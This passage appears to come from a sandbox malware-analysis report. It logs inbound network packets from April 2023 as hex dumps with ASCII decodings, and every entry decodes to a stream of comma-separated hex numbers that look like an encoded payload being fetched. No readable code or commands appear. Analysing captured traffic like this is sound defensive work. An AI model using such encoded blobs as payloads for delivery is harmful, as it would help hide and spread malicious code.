2023-04-20 23:05:11 UTC	14125	IN	Data Raw: 33 2c 35 64 2c 31 30 63 2c 66 31 2c 31 34 62 2c 31 34 61 2c 64 61 2c 63 33 2c 66 30 2c 62 62 2c 33 62 2c 36 63 2c 65 39 2c 31 32 65 2c 31 31 61 2c 65 32 2c 35 31 2c 62 66 2c 37 39 2c 35 64 2c 31 35 30 2c 31 34 62 2c 37 65 2c 31 31 61 2c 62 62 2c 31 33 64 2c 65 36 2c 31 33 66 2c 39 32 2c 31 34 31 2c 37 34 2c 34 38 2c 33 61 2c 36 62 2c 31 31 64 2c 66 35 2c 31 33 35 2c 63 64 2c 31 33 39 2c 31 30 61 2c 61 35 2c 31 36 31 2c 36 38 2c 62 33 2c 39 36 2c 31 37 31 2c 37 63 2c 61 37 2c 64 63 2c 31 32 39 2c 31 31 34 2c 35 61 2c 61 34 2c 31 35 61 2c 38 39 2c 31 31 30 2c 37 30 2c 62 34 2c 66 33 2c 39 35 2c 39 38 2c 31 31 66 2c 31 32 32 2c 31 32 62 2c 35 31 2c 63 36 2c 39 34 2c 36 36 2c 31 31 32 2c 31 32 61 2c 31 33 64 2c 64 36 2c 31 35 35 2c 37 30 2c 31 32 31 2c 35 32 Data Ascii: 3,5d,10c,f1,14b,14a,da,c3,f0,bb,3b,6c,e9,12e,11a,e2,51,bf,79,5d,150,14b,7e,11a,bb,13d,e6,13f,92,141,74,48,3a,6b,11d,f5,135,cd,139,10a,a5,161,68,b3,96,171,7c,a7,dc,129,114,5a,a4,15a,89,110,70,b4,f3,95,98,11f,122,12b,51,c6,94,66,112,12a,13d,d6,155,70,121,52
2023-04-20 23:05:11 UTC	14141	IN	Data Raw: 63 2c 65 37 2c 63 63 2c 31 33 61 2c 39 62 2c 61 39 2c 31 31 38 2c 31 34 66 2c 31 34 30 2c 31 37 30 2c 64 65 2c 31 33 33 2c 66 63 2c 31 31 63 2c 61 61 2c 38 31 2c 39 30 2c 31 30 33 2c 62 66 2c 64 39 2c 65 66 2c 39 32 2c 31 30 38 2c 64 61 2c 64 36 2c 36 38 2c 64 63 2c 31 35 36 2c 31 34 31 2c 35 65 2c 39 31 2c 31 32 64 2c 37 62 2c 35 39 2c 62 63 2c 63 39 2c 31 35 39 2c 37 65 2c 34 31 2c 31 31 35 2c 38 38 2c 31 37 36 2c 31 35 30 2c 31 32 32 2c 62 31 2c 34 64 2c 34 66 2c 31 33 30 2c 66 38 2c 61 33 2c 31 34 31 2c 31 36 34 2c 31 33 63 2c 62 63 2c 31 31 38 2c 36 38 2c 65 34 2c 35 62 2c 65 36 2c 38 35 2c 66 63 2c 39 31 2c 31 30 34 2c 31 36 33 2c 39 61 2c 34 62 2c 66 36 2c 31 30 65 2c 31 30 38 2c 37 39 2c 66 32 2c 36 62 2c 31 32 36 2c 31 37 33 2c 31 34 30 2c 39 66 Data Ascii: c,e7,cc,13a,9b,a9,118,14f,140,170,de,133,fc,11c,aa,81,90,103,bf,d9,ef,92,108,da,d6,68,dc,156,141,5e,91,12d,7b,59,bc,c9,159,7e,41,115,88,176,150,122,b1,4d,4f,130,f8,a3,141,164,13c,bc,118,68,e4,5b,e6,85,fc,91,104,163,9a,4b,f6,10e,108,79,f2,6b,126,173,140,9f
2023-04-20 23:05:11 UTC	14157	IN	Data Raw: 2c 31 31 39 2c 62 39 2c 62 35 2c 66 64 2c 31 31 38 2c 66 30 2c 61 61 2c 39 35 2c 35 62 2c 63 65 2c 66 65 2c 62 30 2c 61 63 2c 62 30 2c 61 35 2c 61 66 2c 66 32 2c 63 37 2c 31 31 33 2c 63 64 2c 63 34 2c 66 30 2c 37 38 2c 31 31 37 2c 34 62 2c 65 64 2c 34 36 2c 65 30 2c 39 61 2c 31 31 64 2c 31 30 62 2c 61 64 2c 31 30 34 2c 66 61 2c 31 32 36 2c 64 38 2c 31 32 36 2c 65 64 2c 66 32 2c 39 30 2c 61 38 2c 31 32 36 2c 65 33 2c 31 33 30 2c 39 61 2c 65 37 2c 66 35 2c 61 62 2c 31 30 65 2c 31 31 65 2c 34 62 2c 31 34 38 2c 36 35 2c 31 30 34 2c 37 35 2c 63 35 2c 38 33 2c 64 65 2c 35 66 2c 37 32 2c 31 33 64 2c 64 32 2c 36 38 2c 66 33 2c 65 39 2c 36 64 2c 65 36 2c 66 36 2c 31 35 37 2c 35 61 2c 62 36 2c 38 66 2c 33 34 2c 66 64 2c 61 30 2c 61 30 2c 65 33 2c 37 38 2c 63 33 2c Data Ascii: ,119,b9,b5,fd,118,f0,aa,95,5b,ce,fe,b0,ac,b0,a5,af,f2,c7,113,cd,c4,f0,78,117,4b,ed,46,e0,9a,11d,10b,ad,104,fa,126,d8,126,ed,f2,90,a8,126,e3,130,9a,e7,f5,ab,10e,11e,4b,148,65,104,75,c5,83,de,5f,72,13d,d2,68,f3,e9,6d,e6,f6,157,5a,b6,8f,34,fd,a0,a0,e3,78,c3,
2023-04-20 23:05:11 UTC	14173	IN	Data Raw: 2c 31 33 64 2c 31 30 31 2c 61 33 2c 64 30 2c 31 34 34 2c 31 36 36 2c 39 31 2c 63 62 2c 64 39 2c 33 34 2c 37 65 2c 65 39 2c 62 37 2c 36 32 2c 38 64 2c 36 64 2c 31 32 63 2c 65 39 2c 31 32 64 2c 31 32 35 2c 61 37 2c 63 39 2c 31 30 30 2c 66 33 2c 64 66 2c 39 39 2c 63 30 2c 66 62 2c 31 30 62 2c 63 32 2c 35 36 2c 39 33 2c 38 30 2c 63 31 2c 62 32 2c 31 34 35 2c 31 33 34 2c 31 35 38 2c 66 65 2c 31 33 64 2c 36 39 2c 35 63 2c 35 36 2c 31 31 63 2c 62 39 2c 31 31 30 2c 31 30 65 2c 62 30 2c 31 31 62 2c 31 30 32 2c 34 66 2c 31 34 32 2c 31 33 61 2c 31 33 30 2c 62 35 2c 31 30 34 2c 63 35 2c 37 64 2c 31 37 30 2c 31 31 38 2c 38 36 2c 37 34 2c 64 37 2c 65 64 2c 36 36 2c 34 33 2c 31 33 66 2c 31 31 61 2c 36 38 2c 31 31 31 2c 33 38 2c 39 64 2c 36 61 2c 65 30 2c 31 34 63 2c 62 Data Ascii: ,13d,101,a3,d0,144,166,91,cb,d9,34,7e,e9,b7,62,8d,6d,12c,e9,12d,125,a7,c9,100,f3,df,99,c0,fb,10b,c2,56,93,80,c1,b2,145,134,158,fe,13d,69,5c,56,11c,b9,110,10e,b0,11b,102,4f,142,13a,130,b5,104,c5,7d,170,118,86,74,d7,ed,66,43,13f,11a,68,111,38,9d,6a,e0,14c,b
2023-04-20 23:05:11 UTC	14189	IN	Data Raw: 31 30 32 2c 31 30 33 2c 39 39 2c 62 64 2c 35 66 2c 38 33 2c 31 34 38 2c 65 35 2c 31 33 34 2c 65 62 2c 31 31 30 2c 31 30 62 2c 37 33 2c 64 35 2c 64 38 2c 61 39 2c 65 37 2c 66 33 2c 39 33 2c 31 33 33 2c 64 34 2c 36 36 2c 38 66 2c 31 33 66 2c 64 62 2c 62 36 2c 33 66 2c 36 66 2c 36 65 2c 61 61 2c 63 34 2c 35 65 2c 31 31 66 2c 66 39 2c 33 63 2c 63 65 2c 61 31 2c 64 34 2c 31 36 36 2c 31 30 38 2c 65 65 2c 61 34 2c 31 33 62 2c 31 35 66 2c 66 61 2c 39 61 2c 35 39 2c 65 32 2c 31 35 37 2c 64 35 2c 39 34 2c 31 33 65 2c 31 30 36 2c 31 32 63 2c 31 32 37 2c 65 63 2c 31 34 32 2c 31 33 31 2c 31 31 31 2c 31 33 33 2c 64 36 2c 62 35 2c 31 33 66 2c 31 31 63 2c 35 37 2c 64 30 2c 62 61 2c 31 33 64 2c 38 66 2c 62 64 2c 31 32 66 2c 38 63 2c 66 62 2c 62 32 2c 63 65 2c 31 32 66 2c Data Ascii: 102,103,99,bd,5f,83,148,e5,134,eb,110,10b,73,d5,d8,a9,e7,f3,93,133,d4,66,8f,13f,db,b6,3f,6f,6e,aa,c4,5e,11f,f9,3c,ce,a1,d4,166,108,ee,a4,13b,15f,fa,9a,59,e2,157,d5,94,13e,106,12c,127,ec,142,131,111,133,d6,b5,13f,11c,57,d0,ba,13d,8f,bd,12f,8c,fb,b2,ce,12f,
2023-04-20 23:05:11 UTC	14205	IN	Data Raw: 2c 35 37 2c 66 37 2c 31 30 31 2c 63 30 2c 31 30 31 2c 66 38 2c 31 31 39 2c 64 39 2c 31 30 63 2c 31 34 32 2c 39 36 2c 37 32 2c 66 37 2c 65 36 2c 39 66 2c 37 35 2c 31 30 37 2c 65 65 2c 31 30 33 2c 66 61 2c 36 33 2c 65 35 2c 61 31 2c 31 33 35 2c 31 31 39 2c 62 38 2c 63 35 2c 36 64 2c 31 30 35 2c 31 33 38 2c 62 38 2c 31 33 62 2c 31 33 32 2c 31 34 66 2c 31 34 32 2c 31 34 37 2c 31 32 30 2c 31 33 33 2c 62 33 2c 31 30 65 2c 65 32 2c 31 32 37 2c 64 31 2c 61 64 2c 65 38 2c 31 35 32 2c 31 32 30 2c 61 38 2c 31 30 38 2c 31 33 65 2c 65 35 2c 64 30 2c 39 34 2c 31 34 62 2c 31 33 62 2c 63 30 2c 37 38 2c 62 31 2c 62 36 2c 31 32 62 2c 31 34 65 2c 31 33 64 2c 36 61 2c 31 34 32 2c 64 66 2c 31 34 64 2c 63 63 2c 62 36 2c 31 35 30 2c 65 66 2c 64 63 2c 31 32 37 2c 31 30 64 2c 66 Data Ascii: ,57,f7,101,c0,101,f8,119,d9,10c,142,96,72,f7,e6,9f,75,107,ee,103,fa,63,e5,a1,135,119,b8,c5,6d,105,138,b8,13b,132,14f,142,147,120,133,b3,10e,e2,127,d1,ad,e8,152,120,a8,108,13e,e5,d0,94,14b,13b,c0,78,b1,b6,12b,14e,13d,6a,142,df,14d,cc,b6,150,ef,dc,127,10d,f
2023-04-20 23:05:11 UTC	14221	IN	Data Raw: 2c 64 64 2c 63 34 2c 31 32 62 2c 37 35 2c 64 36 2c 66 38 2c 31 33 30 2c 39 32 2c 62 64 2c 61 32 2c 63 35 2c 66 32 2c 38 66 2c 31 30 37 2c 64 30 2c 62 30 2c 38 65 2c 39 33 2c 36 66 2c 65 63 2c 62 33 2c 35 39 2c 39 66 2c 66 37 2c 61 63 2c 31 35 30 2c 63 61 2c 31 32 39 2c 31 30 38 2c 36 63 2c 38 63 2c 31 33 35 2c 31 30 33 2c 31 30 66 2c 31 33 33 2c 31 31 30 2c 37 38 2c 37 39 2c 65 64 2c 65 39 2c 31 30 35 2c 64 31 2c 35 30 2c 39 30 2c 31 33 64 2c 32 64 2c 38 38 2c 37 65 2c 38 36 2c 31 32 38 2c 62 61 2c 63 66 2c 31 35 38 2c 34 34 2c 65 62 2c 36 35 2c 31 35 31 2c 65 64 2c 61 62 2c 39 64 2c 39 38 2c 38 36 2c 31 33 64 2c 61 35 2c 31 30 35 2c 31 30 36 2c 36 65 2c 62 32 2c 31 33 36 2c 35 63 2c 31 32 30 2c 65 61 2c 65 35 2c 31 30 33 2c 61 35 2c 39 38 2c 61 64 2c 62 Data Ascii: ,dd,c4,12b,75,d6,f8,130,92,bd,a2,c5,f2,8f,107,d0,b0,8e,93,6f,ec,b3,59,9f,f7,ac,150,ca,129,108,6c,8c,135,103,10f,133,110,78,79,ed,e9,105,d1,50,90,13d,2d,88,7e,86,128,ba,cf,158,44,eb,65,151,ed,ab,9d,98,86,13d,a5,105,106,6e,b2,136,5c,120,ea,e5,103,a5,98,ad,b
2023-04-20 23:05:11 UTC	14237	IN	Data Raw: 31 2c 36 30 2c 31 31 66 2c 66 38 2c 62 34 2c 64 66 2c 31 30 61 2c 39 35 2c 31 34 37 2c 31 30 34 2c 64 30 2c 63 31 2c 36 64 2c 64 62 2c 61 61 2c 31 33 38 2c 63 66 2c 38 36 2c 62 37 2c 31 31 64 2c 61 63 2c 31 32 38 2c 39 33 2c 39 33 2c 64 37 2c 63 31 2c 31 30 63 2c 31 36 64 2c 31 31 66 2c 31 32 39 2c 35 36 2c 31 34 35 2c 31 34 39 2c 31 35 30 2c 65 33 2c 31 32 64 2c 39 31 2c 31 32 30 2c 62 66 2c 37 65 2c 63 30 2c 31 35 31 2c 63 31 2c 31 31 63 2c 38 34 2c 31 33 35 2c 63 38 2c 64 64 2c 31 30 31 2c 65 33 2c 63 34 2c 39 62 2c 31 32 38 2c 35 34 2c 31 31 65 2c 37 66 2c 66 33 2c 31 30 33 2c 37 64 2c 61 63 2c 61 39 2c 61 34 2c 61 38 2c 62 63 2c 31 34 34 2c 37 38 2c 31 31 38 2c 33 64 2c 31 33 36 2c 35 38 2c 66 64 2c 35 39 2c 31 34 63 2c 38 37 2c 31 35 63 2c 31 31 61 Data Ascii: 1,60,11f,f8,b4,df,10a,95,147,104,d0,c1,6d,db,aa,138,cf,86,b7,11d,ac,128,93,93,d7,c1,10c,16d,11f,129,56,145,149,150,e3,12d,91,120,bf,7e,c0,151,c1,11c,84,135,c8,dd,101,e3,c4,9b,128,54,11e,7f,f3,103,7d,ac,a9,a4,a8,bc,144,78,118,3d,136,58,fd,59,14c,87,15c,11a
2023-04-20 23:05:11 UTC	14253	IN	Data Raw: 63 2c 31 32 63 2c 66 31 2c 64 35 2c 31 31 63 2c 37 32 2c 63 39 2c 31 34 33 2c 65 32 2c 31 31 65 2c 64 35 2c 31 34 31 2c 31 34 63 2c 31 35 61 2c 31 35 62 2c 31 30 36 2c 31 35 38 2c 39 62 2c 38 66 2c 64 36 2c 35 37 2c 64 66 2c 37 34 2c 38 38 2c 35 31 2c 31 32 65 2c 62 36 2c 31 31 32 2c 64 61 2c 31 33 62 2c 31 32 32 2c 31 30 32 2c 36 31 2c 36 61 2c 31 30 33 2c 64 66 2c 31 35 37 2c 37 37 2c 31 32 65 2c 61 63 2c 63 32 2c 61 63 2c 62 62 2c 39 38 2c 31 34 62 2c 39 37 2c 64 36 2c 64 33 2c 66 35 2c 66 30 2c 62 64 2c 66 63 2c 31 33 30 2c 38 63 2c 63 63 2c 36 33 2c 61 61 2c 31 36 33 2c 31 32 64 2c 36 31 2c 31 34 63 2c 31 35 39 2c 31 30 36 2c 37 66 2c 63 30 2c 31 32 62 2c 31 34 32 2c 31 34 63 2c 66 32 2c 39 61 2c 39 38 2c 36 30 2c 34 32 2c 38 66 2c 35 64 2c 66 33 2c Data Ascii: c,12c,f1,d5,11c,72,c9,143,e2,11e,d5,141,14c,15a,15b,106,158,9b,8f,d6,57,df,74,88,51,12e,b6,112,da,13b,122,102,61,6a,103,df,157,77,12e,ac,c2,ac,bb,98,14b,97,d6,d3,f5,f0,bd,fc,130,8c,cc,63,aa,163,12d,61,14c,159,106,7f,c0,12b,142,14c,f2,9a,98,60,42,8f,5d,f3,
2023-04-20 23:05:11 UTC	14269	IN	Data Raw: 61 2c 31 30 39 2c 61 62 2c 31 30 38 2c 37 64 2c 31 33 30 2c 39 31 2c 31 31 34 2c 31 32 65 2c 31 32 64 2c 65 32 2c 64 35 2c 37 66 2c 36 66 2c 35 66 2c 65 37 2c 37 39 2c 63 63 2c 63 36 2c 37 30 2c 31 32 39 2c 38 37 2c 35 37 2c 31 32 62 2c 62 63 2c 37 62 2c 31 32 38 2c 31 33 61 2c 34 62 2c 66 65 2c 62 38 2c 38 31 2c 39 32 2c 31 31 32 2c 39 63 2c 38 31 2c 36 37 2c 35 61 2c 37 32 2c 61 32 2c 66 65 2c 62 33 2c 65 32 2c 39 66 2c 61 34 2c 66 36 2c 39 31 2c 64 31 2c 36 33 2c 37 64 2c 65 33 2c 65 39 2c 65 30 2c 65 35 2c 63 65 2c 61 65 2c 63 38 2c 31 31 35 2c 63 32 2c 62 30 2c 35 31 2c 31 32 31 2c 35 64 2c 31 34 37 2c 65 63 2c 66 65 2c 66 63 2c 66 36 2c 34 31 2c 37 63 2c 61 31 2c 35 38 2c 39 34 2c 39 66 2c 66 38 2c 33 37 2c 31 33 36 2c 31 33 38 2c 36 62 2c 66 66 2c Data Ascii: a,109,ab,108,7d,130,91,114,12e,12d,e2,d5,7f,6f,5f,e7,79,cc,c6,70,129,87,57,12b,bc,7b,128,13a,4b,fe,b8,81,92,112,9c,81,67,5a,72,a2,fe,b3,e2,9f,a4,f6,91,d1,63,7d,e3,e9,e0,e5,ce,ae,c8,115,c2,b0,51,121,5d,147,ec,fe,fc,f6,41,7c,a1,58,94,9f,f8,37,136,138,6b,ff,
2023-04-20 23:05:12 UTC	14285	IN	Data Raw: 32 2c 62 34 2c 64 66 2c 65 38 2c 31 35 61 2c 64 65 2c 62 34 2c 64 64 2c 66 66 2c 66 37 2c 61 30 2c 36 36 2c 31 34 63 2c 65 34 2c 31 31 33 2c 31 32 31 2c 61 33 2c 36 31 2c 65 65 2c 31 32 33 2c 31 34 32 2c 36 62 2c 63 62 2c 34 33 2c 36 61 2c 61 36 2c 39 39 2c 31 30 63 2c 31 31 65 2c 61 32 2c 38 39 2c 31 30 66 2c 65 36 2c 31 31 38 2c 62 65 2c 61 66 2c 31 33 32 2c 38 35 2c 61 34 2c 62 62 2c 65 31 2c 61 38 2c 34 38 2c 66 65 2c 39 62 2c 37 39 2c 65 31 2c 61 34 2c 65 39 2c 31 34 33 2c 31 31 66 2c 31 33 65 2c 37 31 2c 62 36 2c 31 33 62 2c 62 62 2c 35 64 2c 38 35 2c 31 32 31 2c 65 63 2c 65 38 2c 31 35 30 2c 61 61 2c 63 61 2c 31 32 35 2c 63 35 2c 64 31 2c 31 30 37 2c 65 62 2c 36 30 2c 31 30 34 2c 34 39 2c 66 31 2c 61 36 2c 63 35 2c 31 32 36 2c 66 32 2c 61 66 2c 39 Data Ascii: 2,b4,df,e8,15a,de,b4,dd,ff,f7,a0,66,14c,e4,113,121,a3,61,ee,123,142,6b,cb,43,6a,a6,99,10c,11e,a2,89,10f,e6,118,be,af,132,85,a4,bb,e1,a8,48,fe,9b,79,e1,a4,e9,143,11f,13e,71,b6,13b,bb,5d,85,121,ec,e8,150,aa,ca,125,c5,d1,107,eb,60,104,49,f1,a6,c5,126,f2,af,9
2023-04-20 23:05:12 UTC	14301	IN	Data Raw: 61 62 2c 62 35 2c 39 37 2c 61 30 2c 65 31 2c 35 37 2c 65 31 2c 62 33 2c 37 62 2c 34 38 2c 31 33 35 2c 37 30 2c 62 38 2c 39 31 2c 35 36 2c 61 64 2c 31 35 38 2c 38 65 2c 66 63 2c 31 35 37 2c 38 32 2c 37 39 2c 36 38 2c 62 39 2c 61 63 2c 38 65 2c 31 30 62 2c 36 34 2c 36 38 2c 62 64 2c 31 30 37 2c 31 33 33 2c 31 32 66 2c 31 30 66 2c 62 36 2c 64 33 2c 63 36 2c 31 30 32 2c 31 33 37 2c 31 33 35 2c 31 33 63 2c 65 66 2c 31 31 62 2c 61 61 2c 63 38 2c 31 33 30 2c 64 62 2c 31 32 63 2c 63 66 2c 36 30 2c 39 36 2c 31 33 39 2c 62 65 2c 35 33 2c 62 32 2c 31 33 31 2c 31 32 63 2c 39 64 2c 63 33 2c 31 34 30 2c 31 32 63 2c 31 36 36 2c 65 61 2c 31 32 34 2c 31 33 33 2c 31 33 36 2c 38 61 2c 36 64 2c 31 31 31 2c 31 34 66 2c 61 36 2c 66 35 2c 31 34 39 2c 31 32 32 2c 31 34 61 2c 65 Data Ascii: ab,b5,97,a0,e1,57,e1,b3,7b,48,135,70,b8,91,56,ad,158,8e,fc,157,82,79,68,b9,ac,8e,10b,64,68,bd,107,133,12f,10f,b6,d3,c6,102,137,135,13c,ef,11b,aa,c8,130,db,12c,cf,60,96,139,be,53,b2,131,12c,9d,c3,140,12c,166,ea,124,133,136,8a,6d,111,14f,a6,f5,149,122,14a,e
2023-04-20 23:05:12 UTC	14317	IN	Data Raw: 33 2c 36 62 2c 35 66 2c 66 32 2c 39 33 2c 61 66 2c 38 30 2c 39 61 2c 35 33 2c 39 36 2c 35 63 2c 66 62 2c 31 31 38 2c 61 63 2c 31 32 39 2c 63 61 2c 61 36 2c 39 33 2c 62 31 2c 64 62 2c 35 30 2c 39 32 2c 61 35 2c 39 38 2c 33 36 2c 31 36 63 2c 33 63 2c 31 34 35 2c 31 31 33 2c 31 32 63 2c 63 66 2c 39 37 2c 38 35 2c 66 34 2c 64 36 2c 62 31 2c 38 39 2c 31 34 30 2c 38 39 2c 64 36 2c 66 37 2c 65 66 2c 31 31 34 2c 31 31 64 2c 39 63 2c 65 36 2c 31 31 37 2c 62 38 2c 31 31 35 2c 31 30 66 2c 62 38 2c 63 64 2c 37 30 2c 39 32 2c 31 30 32 2c 31 32 65 2c 34 64 2c 61 33 2c 62 36 2c 61 62 2c 31 31 39 2c 31 34 37 2c 39 61 2c 63 32 2c 34 39 2c 31 32 63 2c 35 61 2c 65 39 2c 31 33 64 2c 66 39 2c 61 32 2c 31 32 34 2c 62 65 2c 37 63 2c 61 38 2c 64 32 2c 66 66 2c 65 61 2c 31 30 66 Data Ascii: 3,6b,5f,f2,93,af,80,9a,53,96,5c,fb,118,ac,129,ca,a6,93,b1,db,50,92,a5,98,36,16c,3c,145,113,12c,cf,97,85,f4,d6,b1,89,140,89,d6,f7,ef,114,11d,9c,e6,117,b8,115,10f,b8,cd,70,92,102,12e,4d,a3,b6,ab,119,147,9a,c2,49,12c,5a,e9,13d,f9,a2,124,be,7c,a8,d2,ff,ea,10f
2023-04-20 23:05:12 UTC	14333	IN	Data Raw: 2c 31 31 39 2c 31 33 62 2c 37 38 2c 35 38 2c 39 64 2c 65 33 2c 38 63 2c 66 62 2c 39 62 2c 33 66 2c 31 34 30 2c 63 39 2c 62 35 2c 31 31 63 2c 64 39 2c 31 36 38 2c 31 32 37 2c 39 64 2c 37 61 2c 66 31 2c 34 36 2c 65 32 2c 35 65 2c 62 32 2c 31 32 31 2c 66 35 2c 39 34 2c 38 34 2c 31 32 36 2c 31 32 38 2c 31 30 37 2c 31 30 39 2c 31 32 36 2c 62 64 2c 35 31 2c 31 30 36 2c 39 64 2c 31 32 36 2c 31 32 65 2c 31 35 36 2c 31 31 35 2c 31 30 31 2c 39 33 2c 61 36 2c 31 30 64 2c 31 34 37 2c 66 61 2c 65 63 2c 31 32 63 2c 38 37 2c 66 61 2c 31 30 62 2c 37 65 2c 31 34 36 2c 36 38 2c 31 34 63 2c 37 64 2c 31 31 30 2c 31 31 62 2c 36 32 2c 65 31 2c 64 35 2c 31 32 61 2c 35 61 2c 31 31 34 2c 31 33 37 2c 39 36 2c 35 36 2c 35 35 2c 31 32 34 2c 31 30 34 2c 64 66 2c 65 63 2c 63 33 2c 31 Data Ascii: ,119,13b,78,58,9d,e3,8c,fb,9b,3f,140,c9,b5,11c,d9,168,127,9d,7a,f1,46,e2,5e,b2,121,f5,94,84,126,128,107,109,126,bd,51,106,9d,126,12e,156,115,101,93,a6,10d,147,fa,ec,12c,87,fa,10b,7e,146,68,14c,7d,110,11b,62,e1,d5,12a,5a,114,137,96,56,55,124,104,df,ec,c3,1
2023-04-20 23:05:12 UTC	14349	IN	Data Raw: 2c 31 35 33 2c 31 33 38 2c 34 63 2c 37 35 2c 34 39 2c 31 32 37 2c 65 63 2c 31 35 63 2c 31 34 30 2c 31 34 30 2c 34 37 2c 36 34 2c 39 65 2c 31 34 36 2c 31 33 61 2c 38 61 2c 31 30 39 2c 61 34 2c 64 36 2c 31 32 30 2c 66 65 2c 31 31 65 2c 61 33 2c 31 35 38 2c 31 32 37 2c 34 31 2c 31 32 66 2c 31 34 32 2c 37 31 2c 31 32 37 2c 37 37 2c 31 35 63 2c 62 37 2c 65 64 2c 33 66 2c 31 30 35 2c 65 34 2c 31 32 63 2c 62 62 2c 31 31 38 2c 66 39 2c 31 33 30 2c 61 38 2c 39 65 2c 39 31 2c 38 31 2c 39 31 2c 63 64 2c 31 30 61 2c 66 31 2c 34 64 2c 37 66 2c 38 32 2c 31 33 36 2c 65 66 2c 31 35 34 2c 37 65 2c 38 31 2c 31 35 63 2c 31 32 32 2c 35 31 2c 61 33 2c 31 30 61 2c 61 31 2c 65 33 2c 38 36 2c 37 37 2c 31 36 34 2c 37 61 2c 38 66 2c 36 63 2c 65 64 2c 66 61 2c 31 33 31 2c 63 33 2c Data Ascii: ,153,138,4c,75,49,127,ec,15c,140,140,47,64,9e,146,13a,8a,109,a4,d6,120,fe,11e,a3,158,127,41,12f,142,71,127,77,15c,b7,ed,3f,105,e4,12c,bb,118,f9,130,a8,9e,91,81,91,cd,10a,f1,4d,7f,82,136,ef,154,7e,81,15c,122,51,a3,10a,a1,e3,86,77,164,7a,8f,6c,ed,fa,131,c3,
2023-04-20 23:05:12 UTC	14365	IN	Data Raw: 31 36 2c 31 30 37 2c 36 33 2c 66 64 2c 39 66 2c 31 33 31 2c 64 61 2c 66 63 2c 65 30 2c 63 38 2c 66 33 2c 62 39 2c 64 36 2c 39 66 2c 66 34 2c 31 33 65 2c 61 33 2c 65 61 2c 36 62 2c 64 35 2c 31 36 63 2c 63 30 2c 35 66 2c 61 32 2c 65 62 2c 65 62 2c 37 34 2c 38 34 2c 36 39 2c 62 34 2c 31 33 33 2c 38 38 2c 31 33 64 2c 66 36 2c 35 63 2c 37 33 2c 35 64 2c 31 33 61 2c 61 31 2c 31 31 35 2c 31 33 37 2c 39 63 2c 31 32 34 2c 39 65 2c 63 64 2c 37 36 2c 65 64 2c 61 34 2c 39 35 2c 37 63 2c 63 63 2c 36 63 2c 38 65 2c 31 30 63 2c 65 38 2c 31 35 34 2c 66 31 2c 66 64 2c 31 34 30 2c 63 35 2c 31 34 66 2c 62 39 2c 31 35 36 2c 66 31 2c 61 66 2c 39 62 2c 31 31 33 2c 35 62 2c 36 31 2c 31 30 37 2c 64 38 2c 31 30 62 2c 62 63 2c 38 31 2c 39 35 2c 31 36 38 2c 31 34 38 2c 63 65 2c 61 Data Ascii: 16,107,63,fd,9f,131,da,fc,e0,c8,f3,b9,d6,9f,f4,13e,a3,ea,6b,d5,16c,c0,5f,a2,eb,eb,74,84,69,b4,133,88,13d,f6,5c,73,5d,13a,a1,115,137,9c,124,9e,cd,76,ed,a4,95,7c,cc,6c,8e,10c,e8,154,f1,fd,140,c5,14f,b9,156,f1,af,9b,113,5b,61,107,d8,10b,bc,81,95,168,148,ce,a
2023-04-20 23:05:12 UTC	14381	IN	Data Raw: 39 62 2c 31 32 34 2c 31 35 33 2c 31 33 35 2c 31 30 65 2c 36 38 2c 64 32 2c 37 65 2c 64 31 2c 38 35 2c 66 65 2c 62 32 2c 37 66 2c 31 31 30 2c 66 65 2c 66 31 2c 31 31 31 2c 31 32 37 2c 33 65 2c 31 32 65 2c 64 66 2c 31 30 64 2c 63 32 2c 35 39 2c 39 39 2c 31 34 38 2c 34 30 2c 31 31 32 2c 38 36 2c 63 64 2c 31 30 32 2c 31 34 34 2c 33 38 2c 35 36 2c 63 35 2c 66 64 2c 31 37 36 2c 31 33 65 2c 31 30 39 2c 62 30 2c 31 30 33 2c 31 34 30 2c 35 36 2c 65 38 2c 39 39 2c 63 65 2c 61 35 2c 31 30 38 2c 31 33 61 2c 31 31 33 2c 62 30 2c 31 30 34 2c 63 36 2c 66 35 2c 65 61 2c 65 37 2c 39 38 2c 65 38 2c 37 63 2c 65 66 2c 38 31 2c 36 34 2c 31 32 34 2c 31 30 36 2c 36 36 2c 36 31 2c 63 39 2c 31 30 64 2c 63 31 2c 63 31 2c 39 33 2c 39 65 2c 63 66 2c 37 35 2c 35 34 2c 61 34 2c 31 36 Data Ascii: 9b,124,153,135,10e,68,d2,7e,d1,85,fe,b2,7f,110,fe,f1,111,127,3e,12e,df,10d,c2,59,99,148,40,112,86,cd,102,144,38,56,c5,fd,176,13e,109,b0,103,140,56,e8,99,ce,a5,108,13a,113,b0,104,c6,f5,ea,e7,98,e8,7c,ef,81,64,124,106,66,61,c9,10d,c1,c1,93,9e,cf,75,54,a4,16
2023-04-20 23:05:12 UTC	14397	IN	Data Raw: 37 34 2c 65 36 2c 39 62 2c 61 38 2c 31 32 37 2c 61 31 2c 64 35 2c 31 35 62 2c 64 31 2c 31 36 61 2c 31 32 30 2c 36 62 2c 64 38 2c 31 30 31 2c 64 65 2c 62 34 2c 61 37 2c 37 35 2c 63 39 2c 37 63 2c 34 39 2c 61 36 2c 31 36 36 2c 31 31 63 2c 61 39 2c 31 31 31 2c 65 36 2c 37 35 2c 33 34 2c 39 33 2c 64 34 2c 31 36 39 2c 38 39 2c 37 65 2c 33 61 2c 65 32 2c 62 61 2c 61 66 2c 36 63 2c 31 32 34 2c 31 33 32 2c 61 39 2c 31 33 36 2c 64 62 2c 63 64 2c 31 36 66 2c 39 61 2c 66 38 2c 64 65 2c 31 31 39 2c 31 31 39 2c 31 33 33 2c 64 35 2c 38 36 2c 31 33 64 2c 38 34 2c 61 62 2c 35 37 2c 31 36 39 2c 62 31 2c 36 34 2c 38 38 2c 31 32 35 2c 31 31 30 2c 65 63 2c 38 65 2c 65 66 2c 64 30 2c 65 36 2c 37 61 2c 63 61 2c 62 34 2c 66 34 2c 63 34 2c 63 63 2c 62 64 2c 31 30 32 2c 31 31 32 Data Ascii: 74,e6,9b,a8,127,a1,d5,15b,d1,16a,120,6b,d8,101,de,b4,a7,75,c9,7c,49,a6,166,11c,a9,111,e6,75,34,93,d4,169,89,7e,3a,e2,ba,af,6c,124,132,a9,136,db,cd,16f,9a,f8,de,119,119,133,d5,86,13d,84,ab,57,169,b1,64,88,125,110,ec,8e,ef,d0,e6,7a,ca,b4,f4,c4,cc,bd,102,112
